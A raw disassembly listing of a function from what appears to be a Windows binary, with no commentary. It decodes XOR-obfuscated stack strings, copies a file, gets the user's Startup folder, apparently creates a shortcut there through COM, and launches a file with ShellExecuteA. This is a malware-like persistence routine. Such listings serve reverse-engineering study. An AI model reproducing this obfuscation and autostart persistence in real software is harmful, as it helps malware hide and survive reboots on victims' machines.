mov dword [ebp - 0xd44], 0x5cc3ac4f
mov eax, dword [ebp - 0xd48]
mov ecx, dword [ebp - 0xd44]
mov dword [ebp - 0x1510], eax
mov dword [ebp - 0x150c], ecx
mov dword [ebp - 0xd50], 0x778b3690
mov dword [ebp - 0xd4c], 0xaff386e6
mov eax, dword [ebp - 0xd50]
mov ecx, dword [ebp - 0xd4c]
mov dword [ebp - 0x1508], eax
mov dword [ebp - 0x1504], ecx
mov dword [ebp - 0xd58], 0xa980d4ad
mov dword [ebp - 0xd54], 0xf3c01ed1
mov eax, dword [ebp - 0xd58]
mov ecx, dword [ebp - 0xd54]
mov dword [ebp - 0xd60], 0x61453c76
mov dword [ebp - 0xd5c], 0xa0df89f8
mov dword [ebp - 0x1bc0], eax
mov eax, dword [ebp - 0xd60]
mov dword [ebp - 0x1bbc], ecx
mov ecx, dword [ebp - 0xd5c]
mov dword [ebp - 0xd68], 0x99c738e7
mov dword [ebp - 0xd64], 0x1b8ae46f
mov dword [ebp - 0x1bb8], eax
mov eax, dword [ebp - 0xd68]
mov dword [ebp - 0x1bb4], ecx
mov ecx, dword [ebp - 0xd64]
mov dword [ebp - 0xd70], 0x23d873d8
mov dword [ebp - 0xd6c], 0xaff386e6
mov dword [ebp - 0x1bb0], eax
mov eax, dword [ebp - 0xd70]
mov dword [ebp - 0x1bac], ecx
mov ecx, dword [ebp - 0xd6c]
movaps xmm1, xmmword [ebp - 0x1520]
xorps xmm1, xmmword [ebp - 0x1bc0]
movaps xmmword [ebp - 0x1520], xmm1
movaps xmm1, xmmword [ebp - 0x1510]
mov dword [ebp - 0x1ba8], eax
mov dword [ebp - 0x1ba4], ecx
xorps xmm1, xmmword [ebp - 0x1bb0]
movaps xmmword [ebp - 0x1510], xmm1
mov dword [ebp - 0xd78], 0xa980d4f2
mov dword [ebp - 0xd74], 0xf3c01ed1
mov eax, dword [ebp - 0xd78]
mov ecx, dword [ebp - 0xd74]
mov dword [ebp - 0x1030], eax
mov dword [ebp - 0x102c], ecx
mov dword [ebp - 0xd80], 0x61453c76
mov dword [ebp - 0xd7c], 0xa0df89f8
mov eax, dword [ebp - 0xd80]
mov ecx, dword [ebp - 0xd7c]
mov dword [ebp - 0x1028], eax
mov dword [ebp - 0x1024], ecx
mov dword [ebp - 0xd88], 0xa980d4ad
mov dword [ebp - 0xd84], 0xf3c01ed1
mov eax, dword [ebp - 0xd88]
mov ecx, dword [ebp - 0xd84]
mov dword [ebp - 0xd90], 0x61453c76
mov dword [ebp - 0xd8c], 0xa0df89f8
mov dword [ebp - 0x16a0], eax
mov eax, dword [ebp - 0xd90]
mov dword [ebp - 0x169c], ecx
mov ecx, dword [ebp - 0xd8c]
movaps xmm1, xmmword [ebp - 0x1030]
mov dword [ebp - 0x1698], eax
mov dword [ebp - 0x1694], ecx
xorps xmm1, xmmword [ebp - 0x16a0]
movaps xmmword [ebp - 0x1030], xmm1
mov dword [ebp - 0xd98], 0xddaff48f
mov dword [ebp - 0xd94], 0xf3e23ebf
mov eax, dword [ebp - 0xd98]
mov ecx, dword [ebp - 0xd94]
mov dword [ebp - 0x1020], eax
mov dword [ebp - 0x101c], ecx
mov dword [ebp - 0xda0], 0x61453c76
mov dword [ebp - 0xd9c], 0xa0df89f8
mov eax, dword [ebp - 0xda0]
mov ecx, dword [ebp - 0xd9c]
mov dword [ebp - 0x1018], eax
mov dword [ebp - 0x1014], ecx
mov dword [ebp - 0xda8], 0xa980d4ad
mov dword [ebp - 0xda4], 0xf3c01ed1
mov eax, dword [ebp - 0xda8]
mov ecx, dword [ebp - 0xda4]
mov dword [ebp - 0xdb0], 0x61453c76
mov dword [ebp - 0xdac], 0xa0df89f8
mov dword [ebp - 0x1690], eax
mov eax, dword [ebp - 0xdb0]
mov dword [ebp - 0x168c], ecx
mov ecx, dword [ebp - 0xdac]
mov dword [ebp - 0x1688], eax
mov dword [ebp - 0x1684], ecx
movaps xmm1, xmmword [ebp - 0x1690]
xorps xmm1, xmmword [ebp - 0x1020]
movaps xmmword [ebp - 0x1020], xmm1
mov dword [ebp - 0xdb8], 0xddaff48f
mov dword [ebp - 0xdb4], 0xf3e23ea3
mov eax, dword [ebp - 0xdb8]
mov ecx, dword [ebp - 0xdb4]
mov dword [ebp - 0x1010], eax
mov dword [ebp - 0x100c], ecx
mov dword [ebp - 0xdc0], 0x61453c76
mov dword [ebp - 0xdbc], 0xa0df89f8
mov eax, dword [ebp - 0xdc0]
mov ecx, dword [ebp - 0xdbc]
mov dword [ebp - 0x1008], eax
mov dword [ebp - 0x1004], ecx
mov dword [ebp - 0xdc8], 0xa980d4ad
mov dword [ebp - 0xdc4], 0xf3c01ed1
mov eax, dword [ebp - 0xdc8]
mov ecx, dword [ebp - 0xdc4]
mov dword [ebp - 0x1900], eax
mov dword [ebp - 0xdd0], 0x61453c76
mov dword [ebp - 0x18fc], ecx
mov dword [ebp - 0xdcc], 0xa0df89f8
mov eax, dword [ebp - 0xdd0]
mov ecx, dword [ebp - 0xdcc]
movaps xmm1, xmmword [ebp - 0x1010]
mov dword [ebp - 0x18f8], eax
lea eax, [ebp - 0x2b88]
mov dword [ebp - 0x18f4], ecx
lea ecx, [ebp - 0x2178]
xorps xmm1, xmmword [ebp - 0x1900]
push eax
movaps xmmword [ebp - 0x1010], xmm1
call fcn.00402cf0
push eax
mov byte [ebp - 4], 0xc8
mov dword [ebp - 0xdd8], 0xdde8b7de
mov dword [ebp - 0xdd4], 0x80ab6db0
mov ecx, dword [ebp - 0xdd8]
mov edx, dword [ebp - 0xdd4]
mov dword [ebp - 0x1500], ecx
mov dword [ebp - 0x14fc], edx
mov dword [ebp - 0xde0], 0x13261356
mov dword [ebp - 0xddc], 0xc5abe89d
mov eax, dword [ebp - 0xde0]
mov ecx, dword [ebp - 0xddc]
mov dword [ebp - 0x14f8], eax
mov dword [ebp - 0x14f4], ecx
mov dword [ebp - 0xde8], 0xb9a117c7
mov dword [ebp - 0xde4], 0x3bdfb640
mov eax, dword [ebp - 0xde8]
mov ecx, dword [ebp - 0xde4]
mov dword [ebp - 0x14f0], eax
mov dword [ebp - 0x14ec], ecx
mov dword [ebp - 0xdf0], 0x23d873fa
mov dword [ebp - 0xdec], 0xaff386e6
mov eax, dword [ebp - 0xdf0]
mov ecx, dword [ebp - 0xdec]
mov dword [ebp - 0x14e8], eax
mov dword [ebp - 0x14e4], ecx
mov dword [ebp - 0xdf8], 0xa980d4ad
mov dword [ebp - 0xdf4], 0xf3c01ed1
mov eax, dword [ebp - 0xdf8]
mov ecx, dword [ebp - 0xdf4]
mov dword [ebp - 0x1be0], eax
mov dword [ebp - 0xe00], 0x61453c76
lea edx, [ebp - 0x1500]
mov dword [ebp - 0xdfc], 0xa0df89f8
mov eax, dword [ebp - 0xe00]
mov dword [ebp - 0x1bdc], ecx
mov ecx, dword [ebp - 0xdfc]
mov dword [ebp - 0xe08], 0x99c738e7
mov dword [ebp - 0xe04], 0x1b8ae46f
mov dword [ebp - 0x1bd8], eax
mov eax, dword [ebp - 0xe08]
mov dword [ebp - 0x1bd4], ecx
mov ecx, dword [ebp - 0xe04]
mov dword [ebp - 0xe10], 0x23d873d8
mov dword [ebp - 0x1bd0], eax
mov dword [ebp - 0x1bcc], ecx
mov dword [ebp - 0xe0c], 0xaff386e6
mov eax, dword [ebp - 0xe10]
mov ecx, dword [ebp - 0xe0c]
movaps xmm1, xmmword [ebp - 0x1500]
xorps xmm1, xmmword [ebp - 0x1be0]
movaps xmmword [ebp - 0x1500], xmm1
movaps xmm1, xmmword [ebp - 0x14f0]
mov dword [ebp - 0x1bc4], ecx
lea ecx, [ebp - 0x2160]
mov dword [ebp - 0x1bc8], eax
xorps xmm1, xmmword [ebp - 0x1bd0]
movaps xmmword [ebp - 0x14f0], xmm1
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0xc9
lea ecx, [ebp - 0x1010]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2148]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xca
lea ecx, [ebp - 0x1cdc]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2130]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0xcb
lea ecx, [ebp - 0x1020]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2118]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xcc
lea ecx, [ebp - 0x1cf4]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2100]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0xcd
lea ecx, [ebp - 0x1030]
push ecx
mov edx, eax
lea ecx, [ebp - 0x20e8]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xce
lea ecx, [ebp - 0x15cc]
push ecx
mov edx, eax
lea ecx, [ebp - 0x20d0]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xcf
lea ecx, [ebp - 0x1520]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1ea0]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xd1
lea ecx, [ebp - 0x20d0]
call fcn.00402df0
mov byte [ebp - 4], 0xd2
lea ecx, [ebp - 0x20e8]
call fcn.00402df0
mov byte [ebp - 4], 0xd3
lea ecx, [ebp - 0x2100]
call fcn.00402df0
mov byte [ebp - 4], 0xd4
lea ecx, [ebp - 0x2118]
call fcn.00402df0
mov byte [ebp - 4], 0xd5
lea ecx, [ebp - 0x2130]
call fcn.00402df0
mov byte [ebp - 4], 0xd6
lea ecx, [ebp - 0x2148]
call fcn.00402df0
mov byte [ebp - 4], 0xd7
lea ecx, [ebp - 0x2160]
call fcn.00402df0
mov byte [ebp - 4], 0xd8
lea ecx, [ebp - 0x2178]
call fcn.00402df0
sub esp, 0x18
lea ecx, [ebp - 0x1ea0]
mov esi, esp
mov dword [ebp - 0x1d44], esp
call fcn.00416090
push eax
mov ecx, esi
call fcn.00402cf0
mov byte [ebp - 4], 0xd9
mov byte [ebp - 4], 0xd8
xor cl, cl
call fcn.004d0420
add esp, 0x18
mov byte [ebp - 4], 0xc6
lea ecx, [ebp - 0x1ea0]
call fcn.00402df0
mov byte [ebp - 4], 0xb4
lea ecx, [ebp - 0x1eb8]
call fcn.00402df0
mov byte [ebp - 4], 0xac
lea ecx, [ebp - 0x1cdc]
call fcn.00402df0
mov byte [ebp - 4], 0xa0
lea ecx, [ebp - 0x1c60]
call fcn.00402df0
cmp byte [ebp - 0x46], 0
je 0x48bf40
mov dword [ebp - 0xe18], 0xf9cd91f9
mov dword [ebp - 0xe14], 0xf3c01ed1
mov eax, dword [ebp - 0xe18]
mov ecx, dword [ebp - 0xe14]
mov dword [ebp - 0x1040], eax
mov dword [ebp - 0x103c], ecx
mov dword [ebp - 0xe20], 0x61453c76
mov dword [ebp - 0xe1c], 0xa0df89f8
mov eax, dword [ebp - 0xe20]
mov ecx, dword [ebp - 0xe1c]
mov dword [ebp - 0x1038], eax
mov dword [ebp - 0x1034], ecx
mov dword [ebp - 0xe28], 0xa980d4ad
mov dword [ebp - 0xe24], 0xf3c01ed1
mov eax, dword [ebp - 0xe28]
mov ecx, dword [ebp - 0xe24]
mov dword [ebp - 0x1910], eax
mov dword [ebp - 0xe30], 0x61453c76
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0xe2c], 0xa0df89f8
mov eax, dword [ebp - 0xe30]
mov ecx, dword [ebp - 0xe2c]
movaps xmm1, xmmword [ebp - 0x1040]
mov dword [ebp - 0x1908], eax
lea eax, [ebp - 0x1040]
mov dword [ebp - 0x1904], ecx
xorps xmm1, xmmword [ebp - 0x1910]
push eax
movaps xmmword [ebp - 0x1040], xmm1
call fcn.004423d1
add esp, 4
test eax, eax
je 0x48bf40
push eax
lea ecx, [ebp - 0x1c78]
call fcn.00402cf0
mov byte [ebp - 4], 0xda
mov dword [ebp - 0xe38], 0xa980d4f1
mov dword [ebp - 0xe34], 0xf3c01ed1
mov eax, dword [ebp - 0xe38]
mov ecx, dword [ebp - 0xe34]
mov dword [ebp - 0x1050], eax
mov dword [ebp - 0x104c], ecx
mov dword [ebp - 0xe40], 0x61453c76
mov dword [ebp - 0xe3c], 0xa0df89f8
mov eax, dword [ebp - 0xe40]
mov ecx, dword [ebp - 0xe3c]
mov dword [ebp - 0x1048], eax
mov dword [ebp - 0x1044], ecx
mov dword [ebp - 0xe48], 0xa980d4ad
mov dword [ebp - 0xe44], 0xf3c01ed1
mov eax, dword [ebp - 0xe48]
mov ecx, dword [ebp - 0xe44]
mov dword [ebp - 0x1920], eax
mov dword [ebp - 0xe50], 0x61453c76
mov dword [ebp - 0x191c], ecx
mov dword [ebp - 0xe4c], 0xa0df89f8
mov eax, dword [ebp - 0xe50]
mov ecx, dword [ebp - 0xe4c]
movaps xmm1, xmmword [ebp - 0x1050]
mov dword [ebp - 0x1918], eax
lea eax, [ebp - 0x1050]
mov dword [ebp - 0x1914], ecx
lea ecx, [ebp - 0x1c78]
xorps xmm1, xmmword [ebp - 0x1920]
push eax
movaps xmmword [ebp - 0x1050], xmm1
call fcn.00416210
mov dword [ebp - 0xe58], 0xa980d4f2
lea edx, [ebp - 0x1d0c]
mov dword [ebp - 0xe54], 0xf3c01ed1
mov eax, dword [ebp - 0xe58]
mov ecx, dword [ebp - 0xe54]
mov dword [ebp - 0x1110], eax
mov dword [ebp - 0x110c], ecx
mov dword [ebp - 0xe60], 0x61453c76
mov dword [ebp - 0xe5c], 0xa0df89f8
mov eax, dword [ebp - 0xe60]
mov ecx, dword [ebp - 0xe5c]
mov dword [ebp - 0x1108], eax
mov dword [ebp - 0x1104], ecx
mov dword [ebp - 0xe68], 0xa980d4ad
mov dword [ebp - 0xe64], 0xf3c01ed1
mov eax, dword [ebp - 0xe68]
mov ecx, dword [ebp - 0xe64]
mov dword [ebp - 0x1930], eax
mov dword [ebp - 0xe70], 0x61453c76
mov dword [ebp - 0x192c], ecx
mov dword [ebp - 0xe6c], 0xa0df89f8
mov eax, dword [ebp - 0xe70]
mov ecx, dword [ebp - 0xe6c]
movaps xmm1, xmmword [ebp - 0x1110]
mov dword [ebp - 0x1928], eax
lea eax, [ebp - 0x1110]
mov dword [ebp - 0x1924], ecx
lea ecx, [ebp - 0x21a8]
xorps xmm1, xmmword [ebp - 0x1930]
push eax
movaps xmmword [ebp - 0x1110], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0xdb
lea ecx, [ebp - 0x15cc]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2190]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xdc
lea ecx, [ebp - 0x1c78]
push eax
call fcn.00416240
mov byte [ebp - 4], 0xdb
lea ecx, [ebp - 0x2190]
call fcn.00402df0
mov byte [ebp - 4], 0xda
lea ecx, [ebp - 0x21a8]
call fcn.00402df0
lea ecx, [ebp - 0x1c78]
call fcn.00416090
mov ecx, eax
call fcn.004e4050
test al, al
jne 0x48b94a
lea ecx, [ebp - 0x1c78]
call fcn.00416090
push eax
lea ecx, [ebp - 0x1ed0]
call fcn.00402cf0
mov byte [ebp - 4], 0xdd
lea ecx, [ebp - 0x1ed0]
mov esi, dword [ebp - 0x18]
or esi, 0x2000
mov dword [ebp - 0x18], esi
call fcn.00408860
test al, al
jne 0x48b94d
mov byte [ebp - 0x11], al
jmp 0x48b951
mov esi, dword [ebp - 0x18]
mov byte [ebp - 0x11], 1
mov dword [ebp - 4], 0xda
test esi, 0x2000
je 0x48b974
and esi, 0xffffdfff
lea ecx, [ebp - 0x1ed0]
mov dword [ebp - 0x18], esi
call fcn.00402df0
cmp byte [ebp - 0x11], 0
je 0x48bf31
mov dword [ebp - 0xe78], 0xccf8b183
lea edx, [ebp - 0x1c78]
mov dword [ebp - 0xe74], 0xf3c01ed1
mov eax, dword [ebp - 0xe78]
mov ecx, dword [ebp - 0xe74]
mov dword [ebp - 0x1130], eax
mov dword [ebp - 0x112c], ecx
mov dword [ebp - 0xe80], 0x61453c76
mov dword [ebp - 0xe7c], 0xa0df89f8
mov eax, dword [ebp - 0xe80]
mov ecx, dword [ebp - 0xe7c]
mov dword [ebp - 0x1128], eax
mov dword [ebp - 0x1124], ecx
mov dword [ebp - 0xe88], 0xa980d4ad
mov dword [ebp - 0xe84], 0xf3c01ed1
mov eax, dword [ebp - 0xe88]
mov ecx, dword [ebp - 0xe84]
mov dword [ebp - 0xe90], 0x61453c76
mov dword [ebp - 0xe8c], 0xa0df89f8
mov dword [ebp - 0x1940], eax
mov eax, dword [ebp - 0xe90]
mov dword [ebp - 0x193c], ecx
mov ecx, dword [ebp - 0xe8c]
movaps xmm1, xmmword [ebp - 0x1130]
mov dword [ebp - 0x1938], eax
mov dword [ebp - 0x1934], ecx
xorps xmm1, xmmword [ebp - 0x1940]
movaps xmmword [ebp - 0x1130], xmm1
mov dword [ebp - 0xe98], 0xa980d4f1
mov dword [ebp - 0xe94], 0xf3c01ed1
mov eax, dword [ebp - 0xe98]
mov ecx, dword [ebp - 0xe94]
mov dword [ebp - 0x1120], eax
mov dword [ebp - 0x111c], ecx
mov dword [ebp - 0xea0], 0x61453c76
mov dword [ebp - 0xe9c], 0xa0df89f8
mov eax, dword [ebp - 0xea0]
mov ecx, dword [ebp - 0xe9c]
mov dword [ebp - 0x1118], eax
mov dword [ebp - 0x1114], ecx
mov dword [ebp - 0xea8], 0xa980d4ad
mov dword [ebp - 0xea4], 0xf3c01ed1
mov eax, dword [ebp - 0xea8]
mov ecx, dword [ebp - 0xea4]
mov dword [ebp - 0x1950], eax
mov dword [ebp - 0xeb0], 0x61453c76
mov dword [ebp - 0x194c], ecx
mov dword [ebp - 0xeac], 0xa0df89f8
mov eax, dword [ebp - 0xeb0]
mov ecx, dword [ebp - 0xeac]
movaps xmm1, xmmword [ebp - 0x1120]
mov dword [ebp - 0x1948], eax
lea eax, [ebp - 0x1120]
mov dword [ebp - 0x1944], ecx
lea ecx, [ebp - 0x21d8]
xorps xmm1, xmmword [ebp - 0x1950]
push eax
movaps xmmword [ebp - 0x1120], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0xde
lea ecx, [ebp - 0x1d0c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x21c0]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0xdf
lea ecx, [ebp - 0x1130]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1dc8]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xe1
lea ecx, [ebp - 0x21c0]
call fcn.00402df0
mov byte [ebp - 4], 0xe2
lea ecx, [ebp - 0x21d8]
call fcn.00402df0
sub esp, 0x18
lea eax, [ebp - 0x1dc8]
mov ecx, esp
mov dword [ebp - 0x1d40], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0xe3
mov byte [ebp - 4], 0xe2
call fcn.004e4120
add esp, 0x18
test al, al
jne 0x48bbcc
lea ecx, [ebp - 0x1dc8]
call fcn.00416090
lea ecx, [ebp - 0x1c30]
mov esi, eax
call fcn.00416090
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x48bf22
lea eax, [ebp - 0x2c90]
push eax
push 0
push 0
push 7
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x48bf22
lea eax, [ebp - 0x2c90]
push eax
lea ecx, [ebp - 0x1df8]
call fcn.00402cf0
mov byte [ebp - 4], 0xe4
lea edx, [ebp - 0x1140]
mov dword [ebp - 0xeb8], 0xc2eeb883
mov dword [ebp - 0xeb4], 0xf3c01ed1
mov eax, dword [ebp - 0xeb8]
mov ecx, dword [ebp - 0xeb4]
mov dword [ebp - 0x1150], eax
mov dword [ebp - 0x114c], ecx
mov dword [ebp - 0x2a0], 0x61453c76
mov dword [ebp - 0x29c], 0xa0df89f8
mov eax, dword [ebp - 0x2a0]
mov ecx, dword [ebp - 0x29c]
mov dword [ebp - 0x1148], eax
mov dword [ebp - 0x1144], ecx
mov dword [ebp - 0x2a8], 0xa980d4ad
mov dword [ebp - 0x2a4], 0xf3c01ed1
mov eax, dword [ebp - 0x2a8]
mov ecx, dword [ebp - 0x2a4]
mov dword [ebp - 0x2b0], 0x61453c76
mov dword [ebp - 0x2ac], 0xa0df89f8
mov dword [ebp - 0x1960], eax
mov eax, dword [ebp - 0x2b0]
mov dword [ebp - 0x195c], ecx
mov ecx, dword [ebp - 0x2ac]
movaps xmm1, xmmword [ebp - 0x1150]
mov dword [ebp - 0x1958], eax
mov dword [ebp - 0x1954], ecx
xorps xmm1, xmmword [ebp - 0x1960]
movaps xmmword [ebp - 0x1150], xmm1
mov dword [ebp - 0x2b8], 0xa980d4f1
mov dword [ebp - 0x2b4], 0xf3c01ed1
mov eax, dword [ebp - 0x2b8]
mov ecx, dword [ebp - 0x2b4]
mov dword [ebp - 0x1140], eax
mov dword [ebp - 0x113c], ecx
mov dword [ebp - 0x2c0], 0x61453c76
mov dword [ebp - 0x2bc], 0xa0df89f8
mov eax, dword [ebp - 0x2c0]
mov ecx, dword [ebp - 0x2bc]
mov dword [ebp - 0x1138], eax
mov dword [ebp - 0x1134], ecx
mov dword [ebp - 0x2c8], 0xa980d4ad
mov dword [ebp - 0x2c4], 0xf3c01ed1
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [ebp - 0x2c4]
mov dword [ebp - 0x1970], eax
mov dword [ebp - 0x2d0], 0x61453c76
mov dword [ebp - 0x196c], ecx
mov dword [ebp - 0x2cc], 0xa0df89f8
mov eax, dword [ebp - 0x2d0]
mov ecx, dword [ebp - 0x2cc]
movaps xmm1, xmmword [ebp - 0x1140]
mov dword [ebp - 0x1968], eax
lea eax, [ebp - 0x1d0c]
mov dword [ebp - 0x1964], ecx
lea ecx, [ebp - 0x2208]
xorps xmm1, xmmword [ebp - 0x1970]
push eax
movaps xmmword [ebp - 0x1140], xmm1
call fcn.0041ac50
add esp, 4
mov byte [ebp - 4], 0xe5
lea ecx, [ebp - 0x1150]
push ecx
mov edx, eax
lea ecx, [ebp - 0x21f0]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xe6
lea ecx, [ebp - 0x1df8]
push eax
call fcn.00416240
mov byte [ebp - 4], 0xe5
lea ecx, [ebp - 0x21f0]
call fcn.00402df0
mov byte [ebp - 4], 0xe4
lea ecx, [ebp - 0x2208]
call fcn.00402df0
sub esp, 0x18
lea eax, [ebp - 0x1df8]
mov ecx, esp
mov dword [ebp - 0x1cac], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0xe7
mov byte [ebp - 4], 0xe4
call fcn.004e4120
add esp, 0x18
test al, al
jne 0x48bf13
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x48bf13
lea eax, [ebp - 0x88]
push eax
push 0x55a540
push 1
push 0
push 0x55a570
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x48bf0d
mov edi, dword [ebp - 0x88]
lea ecx, [ebp - 0x1dc8]
mov eax, dword [edi]
mov esi, dword [eax + 0x50]
call fcn.00416090
push eax
push edi
call esi
mov edi, dword [ebp - 0x88]
lea ecx, [ebp - 0x1d0c]
mov eax, dword [edi]
mov esi, dword [eax + 0x1c]
call fcn.00416090
push eax
push edi
call esi
mov ecx, dword [ebp - 0x88]
lea edx, [ebp - 0x1ac]
push edx
push 0x55a550
push ecx
mov eax, dword [ecx]
mov eax, dword [eax]
call eax
test eax, eax
js 0x48beff
push 0x208
lea eax, [ebp - 0x2e98]
push 0
push eax
call fcn.004359a0
add esp, 0xc
lea eax, [ebp - 0x2e98]
lea ecx, [ebp - 0x1df8]
push 0x104
push eax
push 0xffffffffffffffff
call fcn.00416090
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, dword [ebp - 0x1ac]
lea edx, [ebp - 0x2e98]
push 1
push edx
push ecx
mov eax, dword [ecx]
mov eax, dword [eax + 0x18]
call eax
mov eax, dword [ebp - 0x1ac]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 8]
call eax
mov eax, dword [ebp - 0x88]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 8]
call eax
call dword [sym.imp.ole32.dll_CoUninitialize]
mov byte [ebp - 4], 0xe2
lea ecx, [ebp - 0x1df8]
call fcn.00402df0
mov byte [ebp - 4], 0xda
lea ecx, [ebp - 0x1dc8]
call fcn.00402df0
mov byte [ebp - 4], 0xa0
lea ecx, [ebp - 0x1c78]
call fcn.00402df0
lea ecx, [ebp - 0x1c30]
call fcn.00416090
mov dword [ebp - 0x2d8], 0xc7e5a4c2
mov esi, eax
mov dword [ebp - 0x2d4], 0xf3c01ed1
mov ecx, dword [ebp - 0x2d8]
mov edx, dword [ebp - 0x2d4]
mov dword [ebp - 0x1160], ecx
mov dword [ebp - 0x115c], edx
mov dword [ebp - 0x2e0], 0x61453c76
mov dword [ebp - 0x2dc], 0xa0df89f8
mov ecx, dword [ebp - 0x2e0]
mov eax, dword [ebp - 0x2dc]
mov dword [ebp - 0x1154], eax
mov dword [ebp - 0x1158], ecx
mov dword [ebp - 0x2e8], 0xa980d4ad
mov dword [ebp - 0x2e4], 0xf3c01ed1
mov eax, dword [ebp - 0x2e8]
mov ecx, dword [ebp - 0x2e4]
push 1
push 0
mov dword [ebp - 0x1980], eax
mov dword [ebp - 0x2f0], 0x61453c76
push 0
mov dword [ebp - 0x2ec], 0xa0df89f8
mov eax, dword [ebp - 0x2f0]
mov dword [ebp - 0x197c], ecx
mov ecx, dword [ebp - 0x2ec]
movaps xmm1, xmmword [ebp - 0x1160]
mov dword [ebp - 0x1978], eax
lea eax, [ebp - 0x1160]
push esi
mov dword [ebp - 0x1974], ecx
xorps xmm1, xmmword [ebp - 0x1980]
push eax
push 0
movaps xmmword [ebp - 0x1160], xmm1
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
sub esp, 0x18
lea eax, [ebp - 0x1d3c]
mov ecx, esp
mov dword [ebp - 0x1ca8], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0xe8
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1ca4], esp
push 0x583da4
call fcn.004163b0
mov byte [ebp - 4], 0xe9
mov byte [ebp - 4], 0xa0
call fcn.004c4880
add esp, 0x30
mov byte [ebp - 4], 0x9f
lea ecx, [ebp - 0x1cf4]
call fcn.00402df0
mov byte [ebp - 4], 0x9e
lea ecx, [ebp - 0x1d0c]
call fcn.00402df0
mov byte [ebp - 4], 0x9d
lea ecx, [ebp - 0x1db0]
call fcn.00402df0
mov byte [ebp - 4], 0x88
lea ecx, [ebp - 0x1c30]
call fcn.00402df0
mov byte [ebp - 4], 0x85
lea ecx, [ebp - 0x1368]
call fcn.004185d0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x1f0]
call fcn.00402df0
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x2fc]
call fcn.004185d0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x13a4]
call fcn.004185d0
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x1d24]
call fcn.00402df0
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x13d4]
call fcn.00402df0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x1de0]
call fcn.00402df0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x1e58]
call fcn.00402df0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x1d3c]
call fcn.00402df0
mov esi, dword [ebp - 0x150]
movzx eax, byte [esi]
sub eax, 1
je 0x48c14f
sub eax, 1
je 0x48c146
inc dword [ebp - 0x144]
jmp 0x48c172
add dword [ebp - 0x148], 0x10
jmp 0x48c172
mov eax, dword [ebp - 0x14c]
lea ecx, [ebp - 0x1d8]
mov dword [ebp - 0x1d8], eax
call fcn.00417990
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x14c], eax
cmp esi, dword [ebp - 0x3c]
jne 0x48c39a
jmp 0x483c30
mov byte [ebp - 4], 6
lea ecx, [ebx + 8]
call fcn.00402df0
mov byte [ebp - 4], 5
lea ecx, [ebx + 0x28]
push dword [ebx + 0x20]
call fcn.00417af0
mov byte [ebp - 4], 4
lea ecx, [ebx + 0x38]
push dword [ebx + 0x30]
call fcn.00417af0
mov byte [ebp - 4], 3
lea ecx, [ebx + 0x48]
push dword [ebx + 0x40]
call fcn.00417af0
mov byte [ebp - 4], 2
lea ecx, [ebx + 0x58]
push dword [ebx + 0x50]
call fcn.00417af0
mov byte [ebp - 4], 1
lea ecx, [ebx + 0x68]
push dword [ebx + 0x60]
call fcn.00417af0
mov byte [ebp - 4], 0
lea ecx, [ebx + 0x78]
push dword [ebx + 0x70]
call fcn.00417af0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebx + 0x80]
call fcn.00402df0
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x2c
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x26ec]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x26ec]
push 0x57761c
push eax
call fcn.004351eb
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x35
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x275c]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x275c]
push 0x57761c
push eax
call fcn.004351eb
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
